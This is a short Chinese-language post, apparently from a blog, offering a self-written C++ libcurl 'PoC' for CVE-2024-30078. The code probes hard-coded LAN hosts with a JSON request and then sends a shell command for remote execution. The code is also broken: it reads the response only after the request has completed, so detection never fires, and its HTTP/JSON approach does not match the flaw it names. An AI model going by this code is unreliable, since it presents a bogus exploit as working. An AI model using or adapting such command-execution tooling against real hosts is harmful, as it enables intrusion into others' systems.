github上已有多个poc被莫名奇妙删除

我自己随便写了一个 （需要提前下载libcurl）

关于这个漏洞的描述 在 微软漏洞报告

下面是poc代码

#include <iostream>
#include <vector>
#include <string>
#include <curl/curl.h>

struct Target {
    std::string host;
    int port;
};

void check_vulnerability_and_execute(const std::string& ip, int port, const std::string& endpoint, const std::string& command) {
    CURL* curl;
    CURLcode res;
    std::string url = "http://" + ip + ":" + std::to_string(port) + endpoint;

    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();
    if(curl) {
        std::string payload = R"({"command": "check_vulnerability", "cve": "CVE-2024-30078"})";
        struct curl_slist* headers = NULL;
        headers = curl_slist_append(headers, "Content-Type: application/json");

        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
        curl_easy_setopt(curl, CURLOPT_POST, 1L);
        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload.c_str());

        res = curl_easy_perform(curl);

        if(res != CURLE_OK) {
            std::cerr << "Failed to connect to " << ip << ":" << port << ", error: " << curl_easy_strerror(res) << std::endl;
        } else {
            long response_code;
            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
            if(response_code == 200) {
                std::string response_str;
                curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response_str);

                if (response_str.find("\"vulnerable\": true") != std::string::npos) {
                    std::cout << "Vulnerability detected on " << ip << ":" << port << std::endl;

                    std::string payload_command = R"({"command": ")" + command + R"("})";

                    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload_command.c_str());
                    res = curl_easy_perform(curl);

                    if(res == CURLE_OK) {
                        std::cout << "Command executed successfully on " << ip << ":" << port << std::endl;
                    } else {
                        std::cerr << "Failed to execute command on " << ip << ":" << port << std::endl;
                    }
                } else {
                    std::cout << "No vulnerability detected on " << ip << ":" << port << std::endl;
                }
            }
        }

        curl_slist_free_all(headers);
        curl_easy_cleanup(curl);
    }
    curl_global_cleanup();
}

int main() {
    std::vector<Target> targets = {
        {"192.168.31.1", 80},
        {"192.168.31.2", 8080}
    };

    std::string endpoint = "/check";
    std::string command = "pwd";

    for(const auto& target : targets) {
        check_vulnerability_and_execute(target.host, target.port, endpoint, command);
    }

    return 0;
}